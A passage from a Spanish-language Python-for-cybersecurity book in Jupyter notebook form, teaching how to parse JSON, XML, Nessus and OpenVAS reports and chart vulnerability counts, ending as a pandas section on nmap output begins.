[+] Escaneando el Objetivo : [Link]
[+] Escaneando el Objetivo : [Link]

Otro ejemplo útil para practicar el manejo de archivos es crear un documento HTML, guardarlo… y luego
mostrarlo por pantalla. Muchas herramientas de pentesting generan reportes en este formato, así que es una
buena habilidad para tener a mano.

95
Ejemplo:

In [111]:
f = open('[Link]','w')

mensaje = """
<html>
<head></head>
<body>
<h2>StarHacks</h2>
</body>
</html>"""

[Link](mensaje)
[Link]()

Ahora, para desplegarlo por la misma consola y aprovechado Colab como herramienta, les cuento que existe
la forma de reproducir código HTML desde esta interfaz y es de la siguiente manera:

In [112]:
# librería que tiene el método display que permite renderizar html directamente en la
hoja
import IPython
[Link](filename='[Link]')

Out[112]:

StarHacks

Manejo de JSON
JSON (JavaScript Object Notation) es un formato de texto ligero para el intercambio de datos. Nació como un
subconjunto de la notación literal de objetos de JavaScript, pero con el tiempo se volvió tan usado, tan
transversal, que hoy se considera un formato independiente del lenguaje.

Es uno de los formatos más comunes en la industria: aparece en APIs, bases de datos, reportes, archivos de
configuración, herramientas de automatización, paneles de monitoreo… prácticamente en todas partes. Su
popularidad tiene sentido, es rápido, simple… y mucho más liviano que XML, porque evita ese mar de
etiquetas que terminaba haciendo los archivos enormes.

Al principio trabajar con JSON puede sentirse un poco enredado… sobre todo si uno viene del mundo más
estructurado. Pero con unas cuantas prácticas, la cosa fluye… y uno entiende por qué es el formato favorito
para transmitir datos en aplicaciones modernas.

Ya… dejemos la conversación aquí… y pasemos a la acción con ejercicios….

96
In [239]:
import json # El primer paso es importar la librería.

Este es un ejemplo súper simple y resumido… el mismo que aparece en la mayoría de los libros cuando se
explica el uso del formato JSON. Es una buena forma de familiarizarse con su estructura antes de pasar a
casos más complejos que sí veremos después.

In [240]:
import json

# este puede ser un simple json en formato string


x = '{ "target":"[Link]", "cvss3":8, "red":"internal"}'

# hacemos un parseo del objeto json:


data = [Link](x)

# el resultado es un diccionario en python:


print(data["target"])
print(str(data["cvss3"]))
print(str(data["red"]))

[Link]
8
internal

La forma de trabajar con JSON parece muy simple… o al menos eso nos podría hacer pensar el ejercicio
anterior. Y claro, con un par de ejemplos básicos todo se ve ordenado, limpio… casi demasiado fácil. Pero en
la práctica, este tipo de formatos puede volverse enredado rápidamente con anidaciones dentro de
anidaciones, listas mezcladas con diccionarios, claves repetidas, estructuras profundas… y uno termina
cuestionándose si el formato está mal… o si la vida misma lo está.

Por eso prefiero pasar ahora a un ejemplo más representativo, con una complejidad básica–media. Algo que
nos permita tener una base real para futuros proyectos… y que también justifique dedicarle las horas
necesarias para practicar el parseo sin miedo.

La idea es aprender a navegar estos datos como corresponde… y no solo resolver los casos bonitos que
aparecen en la primera página de los manuales.

Vamos con ese ejemplo….

Ahora… imaginemos que estamos desarrollando un pequeño script de ciberinteligencia y necesitamos


consultar la API de Censys ([Link] Hacemos un request a uno de sus endpoints de
ejemplo… y la API nos responde con un JSON como el siguiente.

97
Este sería el tipo de escenario real donde trabajar con JSON deja de ser, lo básico del manual… y empieza a
tomar forma dentro de un flujo más complejo.

In [241]:
response ="""{
"code": 200,
"status": "OK",
"result": {
"a": {
"ip": "[Link]",
"last_updated_at": "2023-08-09T07:52:54.881Z"
},
"b": {
"ip": "[Link]",
"last_updated_at": "2023-08-09T07:52:54.881Z"
},
"patch": [
{}
]
}
}"""

Si miramos el formato JSON que entrega la API, intuitivamente nos damos cuenta de que la información está
organizada como un objeto con jerarquías. Cada atributo tiene un nombre representativo… y dentro de ese
atributo puede venir más información, como si fuera un pequeño contenedor que depende de un “padre”. En
el fondo, el mismo formato JSON es una representación humana de cómo organizar datos: los { } marcan
dónde empieza y termina cada bloque del mensaje… y el orden de llaves, claves y valores le da sentido
lógico al contenido.

Otra forma, mucho más simple de verlo, es pensar en un JSON como un diccionario clave–valor. La clave es
el nombre del atributo… y el valor es la información que queremos obtener. Nada más directo que eso.

Honestamente, desconozco en qué se inspiraron para definir este formato… igual que con XML, YAML u
otros. Solo puedo especular que alguien, en algún punto, buscó una forma de organizar datos que fuera
liviana, simple, legible y fácil de parsear. Y la verdad… lo lograron. JSON es compacto, claro… y si uno
elimina la indentación, puede ser sorprendentemente pequeño.

Siguiendo con el ejemplo anterior, si imprimimos directamente la respuesta del servidor, se vería más o
menos así….

In [242]:
print(response)

{
"code": 200,
"status": "OK",
"result": {

98
"a": {
"ip": "[Link]",
"last_updated_at": "2023-08-09T07:52:54.881Z"
},
"b": {
"ip": "[Link]",
"last_updated_at": "2023-08-09T07:52:54.881Z"
},
"patch": [
{}
]
}
}

Ahora que tenemos la impresión del resultado por pantalla, nos damos cuenta de que se accede a todos los
datos al mismo tiempo o a ninguno. Para poder trabajar directamente en cada uno de ellos, es necesario
pasarlo a formato JSON y dejar de trabajar con los datos en crudo.

Ejemplo:

In [243]:
type(response)

Out[243]:
str
Cuando recibimos un JSOn en formato string, lo que necesitamos hacer es hacer la conversión con la
función [Link](candena_de_texto) y nos devolverá un diccionario:

In [244]:
r = [Link](response)

Comprobamos su resultado:

In [245]:
type(r)

Out[245]:
dict

El Objeto, al ser transformado en Diccionario.... se puede acceder a él mediante la forma llave valor, por
ejemplo, tomemos el primer valor del objeto llamado code:

In [246]:
r['code']

Out[246]:

99
200

Ahora imprimimos los datos del primer orden:

In [247]:
print(" - > El Código HTTP es : " + str(r['code'] ) )
print(" - > El Status : " + r['status'])
print(" - > El Resultado es : " + str( r['result'])) # este resultado contiene más
resultados

- > El Código HTTP es : 200


- > El Status : OK
- > El Resultado es : {'a': {'ip': '[Link]', 'last_updated_at':
'2023-08-09T07:52:54.881Z'}, 'b': {'ip': '[Link]', 'last_updated_at':
'2023-08-09T07:52:54.881Z'}, 'patch': [{}]}

Al darnos cuenta de que el resultado r['result'] tiene más resultados dentro, los debemos trabajar en
orden, primero... vemos cuantas filas tiene adentro suyo.

In [248]:
len(r['result'])

Out[248]:
3

Por lógica, si tiene 3 elementos dentro suyo, la forma más apropiada de listarlos es con un bucle:

In [249]:
for x in r['result']:
print(x)

a
b
patch

Al saber que me lista los nombres de las llaves, las podemos usar para acceder a sus valores de la siguiente
forma:

In [250]:
for llave in r['result']:
print(r['result'][llave])

{'ip': '[Link]', 'last_updated_at': '2023-08-09T07:52:54.881Z'}


{'ip': '[Link]', 'last_updated_at': '2023-08-09T07:52:54.881Z'}
[{}]

Ahora que llegamos al último nivel, solo nos queda acceder a sus valores directamente de la siguiente forma:

100
In [251]:
for llave in r['result']:
if len(r['result'][llave])>1: # imprime sólo lo que tiene ip y fecha
print("IP : " + r['result'][llave]["ip"])
print("Date Update : " + r['result'][llave]["last_updated_at"])
print("-"*60)

IP : [Link]
Date Update : 2023-08-09T07:52:54.881Z
------------------------------------------------------------
IP : [Link]
Date Update : 2023-08-09T07:52:54.881Z
------------------------------------------------------------

El script final quedaría de la siguiente manera:

In [252]:
print(" - > El Código HTTP es : " + str(r['code'] ) )
print(" - > El Status : " + r['status'])
print(" - > El Resultado es : \n ")
for llave in r['result']:
if len(r['result'][llave])>1: # imprime sólo lo que tiene ip y fecha
print("IP : " + r['result'][llave]["ip"])
print("Date Update : " + r['result'][llave]["last_updated_at"])
print("-"*60)

- > El Código HTTP es : 200


- > El Status : OK
- > El Resultado es :

IP : [Link]
Date Update : 2023-08-09T07:52:54.881Z
------------------------------------------------------------
IP : [Link]
Date Update : 2023-08-09T07:52:54.881Z
------------------------------------------------------------

Si es tu primera vez leyendo un JSON, es muy probable que estos pasos te hayan parecido un poco
complicados… o incluso estés pensando que cada vez que te topes con algo así será un problema. Y es
totalmente normal. A todos nos pasa la primera vez.

Pero basándome en mi experiencia enseñando esto… puedo asegurarte que es 100% práctica. Una vez que
entiendes la lógica y repites el proceso algunas veces, el parseo de JSON empieza a fluir solo… casi
automático. Entre más lo practiques… más natural se vuelve.

Al final, interpretar JSON es como leer un mapa que al principio parece lleno de caminos… y luego notas que
todo tiene una estructura bastante lógica.

101
Manejo de XML
Un documento XML se compone de entidades físicas que encierran datos… mientras que su estructura
lógica se arma con declaraciones, elementos, comentarios, referencias a caracteres y más. Cada parte está
marcada explícitamente, lo que le da forma y sentido al documento. La combinación de estas dos
dimensiones, lo físico y lo lógico, es lo que convierte a XML en un estándar flexible y bastante poderoso para
representar datos estructurados.

Para entenderlo mejor, imaginemos que tenemos que interpretar un XML que contiene configuraciones de
seguridad y estas configuraciones, están organizadas en una jerarquía en forma de árbol. Cada nodo
representa una sección distinta como políticas, reglas, parámetros, permisos… y cada uno puede tener
elementos hijos que profundizan aún más la información.

Es como abrir un archivo y ver un árbol de decisiones muy ordenado… donde cada rama te lleva a un nivel
de detalle diferente. A simple vista puede intimidar un poco, pero una vez que entendemos la estructura, leer
un XML se vuelve tan natural como revisar un diccionario bien organizado.

<SecurityConfiguration>
<Firewall>
<Status>Enabled</Status>
<Rules>
<Rule>
<Name>Allow HTTP Traffic</Name>
<Port>80</Port>
<Protocol>TCP</Protocol>
</Rule>
<Rule>
<Name>Allow SSH Traffic</Name>
<Port>22</Port>
<Protocol>TCP</Protocol>
</Rule>
<Rule>
<Name>Block RDP Traffic</Name>
<Port>3389</Port>
<Protocol>TCP</Protocol>
<Action>Block</Action>
</Rule>
</Rules>
</Firewall>

<Antivirus>
<Status>Enabled</Status>
<DefinitionVersion>2023.10.1</DefinitionVersion>
<LastScanDate>2023-10-15</LastScanDate>
</Antivirus>

102
<IntrusionDetection>
<Status>Disabled</Status>
</IntrusionDetection>

<UserAccessControl>
<Status>Enabled</Status>
<AdministratorAccounts>
<Account>
<Username>admin</Username>
<LastLogin>2023-10-10</LastLogin>
</Account>
</AdministratorAccounts>
</UserAccessControl>
</SecurityConfiguration>

Si quisiéramos leer este archivo, primero tenemos que transformarlo a un string para poder trabajarlo desde
Jupyter. Python necesita recibir el contenido como texto para luego interpretarlo, recorrerlo y extraer cada
parte del XML.

En el fondo… es como decirle a Jupyter, lee esto tal cual, como un bloque de texto… y después nos
encargamos de entenderlo.

In [253]:
xmlfile = """
<SecurityConfiguration>
<Firewall>
<Status>Enabled</Status>
<Rules>
<Rule>
<Name>Allow HTTP Traffic</Name>
<Port>80</Port>
<Protocol>TCP</Protocol>
</Rule>
<Rule>
<Name>Allow SSH Traffic</Name>
<Port>22</Port>
<Protocol>TCP</Protocol>
</Rule>
<Rule>
<Name>Block RDP Traffic</Name>
<Port>3389</Port>
<Protocol>TCP</Protocol>
<Action>Block</Action>
</Rule>
</Rules>
</Firewall>

<Antivirus>

103
<Status>Enabled</Status>
<DefinitionVersion>2023.10.1</DefinitionVersion>
<LastScanDate>2023-10-15</LastScanDate>
</Antivirus>

<IntrusionDetection>
<Status>Disabled</Status>
</IntrusionDetection>

<UserAccessControl>
<Status>Enabled</Status>
<AdministratorAccounts>
<Account>
<Username>admin</Username>
<LastLogin>2023-10-10</LastLogin>
</Account>
</AdministratorAccounts>
</UserAccessControl>
</SecurityConfiguration>

"""

xmlfile contiene las reglas y configuraciones… y podemos leerlo desde Python de la siguiente manera:
Instalación de librería para leer XML.

# pip install lxml

In [254]:
!pip install lxml

Requirement already satisfied: lxml in c:\users\starh\anaconda3\lib\site-packages


(5.3.0)

In [255]:
import [Link] as ET

Si quisiéramos leer un archivo que contiene el XML, lo haríamos de esta manera:

tree = [Link]("[Link]")
root = [Link]()

Pero en nuestro caso lo estamos tomando desde un string, así que necesitaremos usar otro método para
procesarlo correctamente desde Python.

In [256]:
root = [Link](xmlfile)

104
Ahora, si por ejemplo quisiéramos leer las configuraciones de este dispositivo de seguridad seria de la
siguiente forma:

In [257]:
firewall_status = [Link]('.//Firewall/Status').text
print(f"Estado del Firewall: {firewall_status}")

Estado del Firewall: Enabled

Como se muestra en la función find(), podemos acceder usando rutas en forma de / para movernos desde el
árbol principal hacia sus distintas ramificaciones. Es una manera intuitiva de navegar por el XML: vamos
bajando nivel por nivel… igual que recorriendo carpetas dentro de un directorio.

Para seguir leyendo las demás ramas, usaremos nuevamente la función find(). Pero esta vez, como dentro
de una misma base pueden existir varias ramas, necesitaremos un bucle para recorrerlas todas una por una.
Así podemos procesar cada configuración de manera individual, sin asumir cuántos elementos hay realmente
dentro del XML.

Y esto es clave, en muchos casos no sabemos cuántos nodos tiene una rama del árbol, por lo que usar
ciclos nos permite leer todo de manera segura y flexible… sin quedar atrapados en suposiciones que no
siempre se cumplen.

In [258]:
firewall_rules = [Link]('.//Firewall/Rules/Rule')
print("Reglas del Firewall:")
for rule in firewall_rules:
rule_name = [Link]('Name').text
rule_port = [Link]('Port').text
rule_protocol = [Link]('Protocol').text
rule_action = [Link]('Action').text if [Link]('Action') is not None else
"Permit"
print(f" Nombre: {rule_name}")
print(f" Puerto: {rule_port}")
print(f" Protocolo: {rule_protocol}")
print(f" Acción: {rule_action}")
print()

Reglas del Firewall:


Nombre: Allow HTTP Traffic
Puerto: 80
Protocolo: TCP
Acción: Permit

Nombre: Allow SSH Traffic


Puerto: 22
Protocolo: TCP
Acción: Permit

105
Nombre: Block RDP Traffic
Puerto: 3389
Protocolo: TCP
Acción: Block

Para Leer la parte central del XML repetimos el paso anterior:

In [259]:
antivirus_status = [Link]('.//Antivirus/Status').text
definition_version = [Link]('.//Antivirus/DefinitionVersion').text
last_scan_date = [Link]('.//Antivirus/LastScanDate').text
print(f"Estado del Antivirus: {antivirus_status}")
print(f"Versión de Definiciones: {definition_version}")
print(f"Última Fecha de Escaneo: {last_scan_date}")

Estado del Antivirus: Enabled


Versión de Definiciones: 2023.10.1
Última Fecha de Escaneo: 2023-10-15

Y Finalmente buscamos las ramificaciones faltantes:

In [260]:
intrusion_detection_status = [Link]('.//IntrusionDetection/Status').text
print(f"Estado de Detección de Intrusiones: {intrusion_detection_status}")

uac_status = [Link]('.//UserAccessControl/Status').text
print(f"Estado del Control de Acceso de Usuarios: {uac_status}")

administrator_accounts =
[Link]('.//UserAccessControl/AdministratorAccounts/Account')
print("Cuentas de Administrador:")
for account in administrator_accounts:
username = [Link]('Username').text
last_login = [Link]('LastLogin').text
print(f" Nombre de Usuario: {username}")
print(f" Último Inicio de Sesión: {last_login}")

Estado de Detección de Intrusiones: Disabled


Estado del Control de Acceso de Usuarios: Enabled
Cuentas de Administrador:
Nombre de Usuario: admin
Último Inicio de Sesión: 2023-10-10

Como se puede ver en el ejercicio anterior… la clave para interpretar un XML está en entender su estructura
de árbol. Primero navegamos por las ramas principales… y luego, dentro de cada una, vamos accediendo a
sus elementos internos.

106
Si durante la interpretación nos damos cuenta de que una rama está poblada con más campos… y que
además puede ser dinámica, es decir, la cantidad de datos cambia según los resultados, entonces... tenemos
que pensar inmediatamente en usar un ciclo for para iterar dato por dato.

Esa es la forma segura de recorrer un XML cuando no sabemos cuántos elementos vienen dentro de una
misma sección. El for nos permite leerlos todos, sin asumir nada… y sin dejar información afuera.

Veamos ahora un ejemplo de Nessus con un formato similar al ejercicio anterior… pero con ramificaciones
un poco distintas. Esto nos permitirá practicar cómo navegar un XML real de seguridad, donde la estructura
puede variar según el tipo de hallazgos y configuraciones que reporte la herramienta.

<NessusVulnerabilityReport>
<ScanDate>2023-10-20</ScanDate>
<ScanTime>15:30:00</ScanTime>
<ReportTitle>Informe de Vulnerabilidades - Escaneo de Red</ReportTitle>
<ReportAuthor>Equipo de Seguridad</ReportAuthor>

<Host>
<IPAddress>[Link]</IPAddress>
<HostName>[Link]</HostName>
<OperatingSystem>Windows Server 2019</OperatingSystem>

<Vulnerability>
<ID>1</ID>
<Name>CVE-2023-12345</Name>
<Description>Vulnerabilidad crítica en el servidor web Apache
2.4.35.</Description>
<Severity>Critica</Severity>
<Recommendation>Aplicar el parche de seguridad proporcionado por el
fabricante.</Recommendation>
</Vulnerability>

<Vulnerability>
<ID>2</ID>
<Name>CVE-2023-67890</Name>
<Description>Vulnerabilidad en el servicio SSH que permite intentos de
inicio de sesión.</Description>
<Severity>Media</Severity>
<Recommendation>Fortalecer la configuración de SSH y limitar intentos de
inicio de sesión.</Recommendation>
</Vulnerability>
</Host>

</NessusVulnerabilityReport>

Para leer este XML usaremos, convenientemente, la misma forma de parseo del ejercicio anterior… solo que
esta vez las respuestas serán distintas, porque la estructura y los datos que entrega Nessus cambian según
el tipo de hallazgo.

107
In [261]:
XMLNessus = """
<NessusVulnerabilityReport>
<ScanDate>2023-10-20</ScanDate>
<ScanTime>15:30:00</ScanTime>
<ReportTitle>Informe de Vulnerabilidades - Escaneo de Red</ReportTitle>
<ReportAuthor>Equipo de Seguridad</ReportAuthor>

<Host>
<IPAddress>[Link]</IPAddress>
<HostName>[Link]</HostName>
<OperatingSystem>Windows Server 2019</OperatingSystem>

<Vulnerability>
<ID>1</ID>
<Name>CVE-2023-12345</Name>
<Description>Vulnerabilidad crítica en el servidor web Apache
2.4.35.</Description>
<Severity>Critica</Severity>
<Recommendation>Aplicar el parche de seguridad proporcionado por el
fabricante.</Recommendation>
</Vulnerability>

<Vulnerability>
<ID>2</ID>
<Name>CVE-2023-67890</Name>
<Description>Vulnerabilidad en el servicio SSH que permite intentos de inicio de
sesión.</Description>
<Severity>Media</Severity>
<Recommendation>Fortalecer la configuración de SSH y limitar intentos de inicio
de sesión.</Recommendation>
</Vulnerability>
</Host>

</NessusVulnerabilityReport>
"""

Pasamos a leer con la misma librería anterior:

In [262]:
import [Link] as ET
root = [Link](XMLNessus)

Leemos la primera parte del documento entendiendo que esta tiene 2 niveles en su orden, el primero para
los hosts escaneados y el segundo para agrupar las vulnerabilidades:

In [263]:
for host in [Link]('Host'):
ip_address = [Link]('IPAddress').text

108
host_name = [Link]('HostName').text
operating_system = [Link]('OperatingSystem').text

print(f"Host IP: {ip_address}")


print(f"Host Name: {host_name}")
print(f"Operating System: {operating_system}")

vulnerabilities = [Link]('Vulnerability')
for vulnerability in vulnerabilities:
vulnerability_id = [Link]('ID').text
name = [Link]('Name').text
description = [Link]('Description').text
severity = [Link]('Severity').text
recommendation = [Link]('Recommendation').text

print(f" Vulnerability ID: {vulnerability_id}")


print(f" Name: {name}")
print(f" Description: {description}")
print(f" Severity: {severity}")
print(f" Recommendation: {recommendation}")

Host IP: [Link]


Host Name: [Link]
Operating System: Windows Server 2019
Vulnerability ID: 1
Name: CVE-2023-12345
Description: Vulnerabilidad crítica en el servidor web Apache 2.4.35.
Severity: Crítica
Recommendation: Aplicar el parche de seguridad proporcionado por el fabricante.
Vulnerability ID: 2
Name: CVE-2023-67890
Description: Vulnerabilidad en el servicio SSH que permite intentos de inicio de
sesión.
Severity: Media
Recommendation: Fortalecer la configuración de SSH y limitar intentos de inicio de
sesión.

Ahora… para hacer más real el ejercicio, me puse a buscar en internet algún archivo de reporte Nessus en
formato XML… y encontré el siguiente. Este archivo nos va a servir para practicar un caso más cercano a lo
que veríamos en un análisis de vulnerabilidades real.

XML Nessus
In [264]:
# para linux
# !wget
[Link]
port/[Link]

# para windows

109
!curl -L -o [Link]
[Link]
rt/[Link]

% Total % Received % Xferd Average Speed Time Time Time Current


Dload Upload Total Spent Left Speed

0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0


100 525k 100 525k 0 0 685k 0 --:--:-- --:--:-- --:--:-- 688k

Descargamos el archivo localmente en Jupyter para comprobar que el parser funciona correctamente.
In [265]:
import [Link] as ET

tree = [Link]('[Link]')
root = [Link]()

Usamos el método parse() que recibe como entrada un archivo que contenga XML y el método
[Link]() que se utiliza para obtener el nodo raíz de un árbol XML.

In [266]:
# Iterar a través de los elementos del informe
for report in [Link]('Report'):
for host in [Link]('ReportHost'):
host_name = [Link]('name')
print(f"Host: {host_name}")

for item in [Link]('ReportItem'):


port = [Link]('port')
plugin_id = [Link]('pluginID')
severity = [Link]('risk_factor').text
description = [Link]('description').text
solution = [Link]('solution').text
cve = [Link]('cve').text if [Link]('cve') is not None else "N/A"

print(f" Port: {port}")


print(f" Plugin ID: {plugin_id}")
print(f" Severity: {severity}")
print(f" Description: {description}")
print(f" Solution: {solution}")
print(f" CVE: {cve}")

Host: [Link]
Port: 0
Plugin ID: 19506
Severity: None
Description: This script displays, for each tested host, information
about the scan itself : - The version of the plugin set - The type

110
of plugin feed (HomeFeed or ProfessionalFeed) - The version of the
Nessus Engine - The port scanner(s) used - The port range scanned -
Whether credentialed or third-party patch management checks are
possible - The date of the scan - The duration of the scan - The
number of hosts scanned in parallel - The number of checks done in
parallel

Solution: n/a
CVE: N/A
Port: 0
Plugin ID: 45590
Severity: None
Description: By using information obtained from a Nessus scan, this
plugin reports CPE (Common Platform Enumeration) matches for
various hardware and software products found on a host. Note that
if an official CPE is not available for the product, this plugin
computes the best possible CPE based on the information available
from the scan.

Solution: n/a
CVE: N/A
Port: 0
Plugin ID: 54615
Severity: None
Description: Based on the remote operating system, it is possible to
determine what the remote system type is (eg: a printer, router,
general-purpose computer, etc).

Solution: n/a
CVE: N/A
Port: 0
Plugin ID: 11936
Severity: None
Description: Using a combination of remote probes, (TCP/IP, SMB,
HTTP, NTP, SNMP, etc...) it is possible to guess the name of the
remote operating system in use, and sometimes its version.

Solution: n/a
CVE: N/A
Port: 0
Plugin ID: 35716
Severity: None
Description: Each ethernet MAC address starts with a 24-bit
'Organizationally Unique Identifier'.These OUI are
registered by IEEE.

.
.
.
.

111
Al repetir el procedimiento anterior, comprobamos que el script funciona correctamente con un archivo real
de Nessus, desplegando las vulnerabilidades del reporte tal como esperábamos. Esto ya nos da una base
sólida para procesar XML más complejos y aplicarlos en un análisis de seguridad real.

Ahora… para darle un poco más de profesionalismo al resultado, vamos a graficar las vulnerabilidades
usando la librería matplotlib. Esto nos permitirá visualizar de manera rápida cuántos hallazgos hay por
categoría o por nivel de severidad… algo muy útil cuando queremos presentar resultados o preparar un
informe más ordenado.

El gráfico lo generamos con las siguientes líneas de código….

In [267]:
import [Link] as plt

Una vez importado el resultado, procedemos a guardar las vulnerabilidades en un diccionario.

In [268]:
vulnerability_counts = {
'Critical': 0,
'High': 0,
'Medium': 0,
'Low': 0
}

Recorrimos el arreglo para guardar los datos en el diccionario que definimos como
vulnerability_counts.

In [269]:
for report in [Link]('Report'):
for host in [Link]('ReportHost'):
for item in [Link]('ReportItem'):
risk_factor = [Link]('risk_factor').text
if risk_factor != 'None':
vulnerability_counts[risk_factor] += 1

Interamos en 3 niveles y nos aseguramos de no contar las variables que no contengan un risk_factor.

Finalmente, procedemos graficar los dos ejes separando las llaves de los valores.

In [270]:
criticities = list(vulnerability_counts.keys())
counts = list(vulnerability_counts.values())

Elegimos que el gráfico contenga la figura tendrá un tamaño de 6 pulgadas de ancho por 6 pulgadas de alto
([Link](figsize=(6, 6))).

112
Luego, se ejecuta bars = [Link](criticities, counts, color='royalblue') que toma dos
listas como entrada: criticities (que generalmente contendrá las etiquetas de las barras) y counts (que
contiene la altura de las barras, es decir, la cantidad de vulnerabilidades para cada categoría de criticidad). El
parámetro color se utiliza para definir el color de las barras.

Posteriormente, agregamos una etiqueta en el eje horizontal (eje X) del gráfico con
[Link]('Criticidad'), incluimos también en el eje Y una etiqueta con [Link]('Cantidad
de Vulnerabilidades') y finalmente el título con [Link]('Conteo de Vulnerabilidades')

In [271]:
[Link](figsize=(6, 6))
bars = [Link](criticities, counts, color='royalblue')
[Link]('Criticidad')
[Link]('Cantidad de Vulnerabilidades')
[Link]('Conteo de Vulnerabilidades')

Out[271]:
Text(0.5, 1.0, 'Conteo de Vulnerabilidades')

Podemos agregar un gráfico de torta para complementar el resultado anterior con una distribución con base
en la criticidad de las vulnerabilidades.

In [272]:
criticities = list(vulnerability_counts.keys())
counts = list(vulnerability_counts.values())

[Link](figsize=(6, 6))
[Link](counts, labels=criticities, startangle=160, wedgeprops={'edgecolor': 'white'},
textprops={'fontsize': 10})
[Link]('equal')
[Link]('Distribución de Vulnerabilidades')
[Link]()

113
Siguiendo la misma línea del ejercicio anterior… me dispongo a dar un último ejemplo de manejo de XML,
esta vez parseando un archivo generado por OpenVAS. Como muchos saben, esta herramienta es bastante
utilizada en el mundo de la ciberseguridad… y es común encontrarse con reportes suyos en distintos
equipos, auditorías y análisis dentro de la industria.

Es un buen cierre para este módulo, porque nos permite ver cómo aplicar exactamente las mismas técnicas
de parseo a un formato distinto… pero con una estructura realista y típicamente usada en escenarios de
seguridad.

XML OpenVAS
Descargamos un archivo en internet:

In [273]:
#para linux
#!wget
[Link]

#para windows

114
!curl -L -o [Link]
[Link]

% Total % Received % Xferd Average Speed Time Time Time Current


Dload Upload Total Spent Left Speed

0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0


0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 527k 100 527k 0 0 970k 0 --:--:-- --:--:-- --:--:-- 972k

Incluimos la librería necesaria para trabajar con XML.

In [274]:
import [Link] as ET

Obtenemos los resultados de OpenVas y leemos el archivo que nos descargamos anteriormente.

In [275]:
tree = [Link]('[Link]')
root = [Link]()

Iteramos los elementos del informe a través de su forma de árbol, como se puede apreciar en el siguiente
código, es muy parecido al reporte de nessus, pero se diferencia, en su facilidad para encontrar los datos, ya
que tiene una iteración de ciclo for y posteriormente se valida que en la búsqueda no se obtenga un
resultado vacío para que el script se ejecute correctamente.

In [276]:
for report in [Link]('.//result'):
name_element = [Link]('.//name')
port_element = [Link]('.//port')
severity_element = [Link]('.//severity')

if name_element is not None:


name = name_element.text
else:
name = "No disponible"

if port_element is not None:


port = port_element.text
else:
port = "No disponible"

if severity_element is not None:


severity = severity_element.text
else:
severity = "No disponible"

print(f"Name: {name}")
print(f"Port: {port}")

115
print(f"Severity: {severity}")

Name: OS End Of Life Detection


Port: general/tcp
Severity: 10.0
Name: TWiki XSS and Command Execution Vulnerabilities
Port: 80/tcp
Severity: 10.0
Name: product
Port: No disponible
Severity: No disponible
Name: Check for rexecd Service
Port: 512/tcp
Severity: 10.0
Name: Java RMI Server Insecure Default Configuration Remote Code Execution
Vulnerability
Port: 1099/tcp
Severity: 10.0
Name: Possible Backdoor: Ingreslock
Port: 1524/tcp
Severity: 10.0
Name: Distributed Ruby (dRuby/DRb) Multiple Remote Code Execution Vulnerabilities
Port: 8787/tcp
Severity: 10.0
Name: DistCC Remote Code Execution Vulnerability
Port: 3632/tcp
Severity: 9.3
Name: SSH Brute Force Logins With Default Credentials Reporting
Port: 22/tcp
Severity: 9.0
Name: MySQL / MariaDB weak password
Port: 3306/tcp
Severity: 9.0
Name: PostgreSQL weak password
Port: 5432/tcp
Severity: 9.0
Name: DistCC Detection
Port: 3632/tcp
Severity: 8.5
Name: phpMyAdmin Code Injection and XSS Vulnerability
Port: 80/tcp
Severity: 7.5
Name: product
Port: No disponible
Severity: No disponible
Name: phpMyAdmin BLOB Streaming Multiple Input Validation Vulnerabilities
Port: 80/tcp
Severity: 7.5
Name: product
Port: No disponible
Severity: No disponible
Name: phpMyAdmin Configuration File PHP Code Injection Vulnerability
Port: 80/tcp

116
Severity: 7.5
Name: product
Port: No disponible
Severity: No disponible
Name: phpMyAdmin Unspecified SQL Injection and Cross Site Scripting Vulnerabilities
Port: 80/tcp
Severity: 7.5
Name: product
Port: No disponible
Severity: No disponible
Name: Tiki Wiki CMS Groupware < 4.2 Multiple Unspecified Vulnerabilities
Port: 80/tcp
Severity: 7.5
Name: product
Port: No disponible
Severity: No disponible
Name: PHP-CGI-based setups vulnerability when parsing query string parameters from php
files.
Port: 80/tcp
Severity: 7.5
Name: Test HTTP dangerous methods
Port: 80/tcp
Severity: 7.5
Name: phpinfo() output accessible
Port: 80/tcp
Severity: 7.5
Name: Multiple Vendors STARTTLS Implementation Plaintext Arbitrary Command Injection
Vulnerability
Port: 25/tcp
Severity: 6.8
.
.

Pandas
Me gustaría partir este ítem siguiendo la línea del módulo anterior… para darle continuidad al ritmo del
libro… pero ahora usando la librería pandas. Esta herramienta es una de las más poderosas en Python
cuando se trata de manejar datos: tablas, reportes, estructuras complejas… todo se vuelve mucho más fácil
de procesar.

La idea es empezar con algo simple… entender cómo cargar datos, cómo leerlos, cómo filtrarlos… y luego
avanzar hacia unos mini ejercicios que nos permitan ver, en la práctica, para qué sirve realmente pandas. Y
créeme… en ciberseguridad termina siendo más útil de lo que uno cree, desde analizar logs… hasta
procesar archivos Nessus, Censys, OpenVAS, o cualquier salida masiva de datos.

Vamos paso a paso… para que la herramienta no se sienta intimidante… y podamos empezar a sacarle
provecho desde el primer ejemplo.

117
Imaginemos que tenemos este código del resultado de un nmap, del escaneo a una red cualquiera.

<?xml version="1.0"?>
<!DOCTYPE nmaprun>
<nmaprun>
<host>
<address addr="[Link]" addrtype="ipv4"/>
<ports>
<port protocol="tcp" portid="22">
<state state="open"/>
<service name="ssh" product="OpenSSH" version="7.2p2" extrainfo="Ubuntu
Linux; protocol 2.0"/>
</port>
<port protocol="tcp" portid="80">
<state state="open"/>
<service name="http" product="Apache" version="2.4.18"/>
</port>
</ports>
</host>
<host>
<address addr="[Link]" addrtype="ipv4"/>
<ports>
<port protocol="tcp" portid="80">
<state state="open"/>
<service name="http" product="Nginx" version="1.18.0"/>
</port>
</ports>
</host>
</nmaprun>

Y ahora tenemos que leer estos resultados y usar la librería Pandas.

In [277]:
nmap_result = """<?xml version="1.0"?>
<!DOCTYPE nmaprun>
<nmaprun>
<host>
<address addr="[Link]" addrtype="ipv4"/>
<ports>
<port protocol="tcp" portid="22">
<state state="open"/>
<service name="ssh" product="OpenSSH" version="7.2p2" extrainfo="Ubuntu Linux;
protocol 2.0"/>
</port>
<port protocol="tcp" portid="80">
<state state="open"/>
<service name="http" product="Apache" version="2.4.18"/>
</port>
</ports>

118
</host>
<host>
<address addr="[Link]" addrtype="ipv4"/>
<ports>
<port protocol="tcp" portid="80">
<state state="open"/>
<service name="http" product="Nginx" version="1.18.0"/>
</port>
</ports>
</host>
</nmaprun>
"""

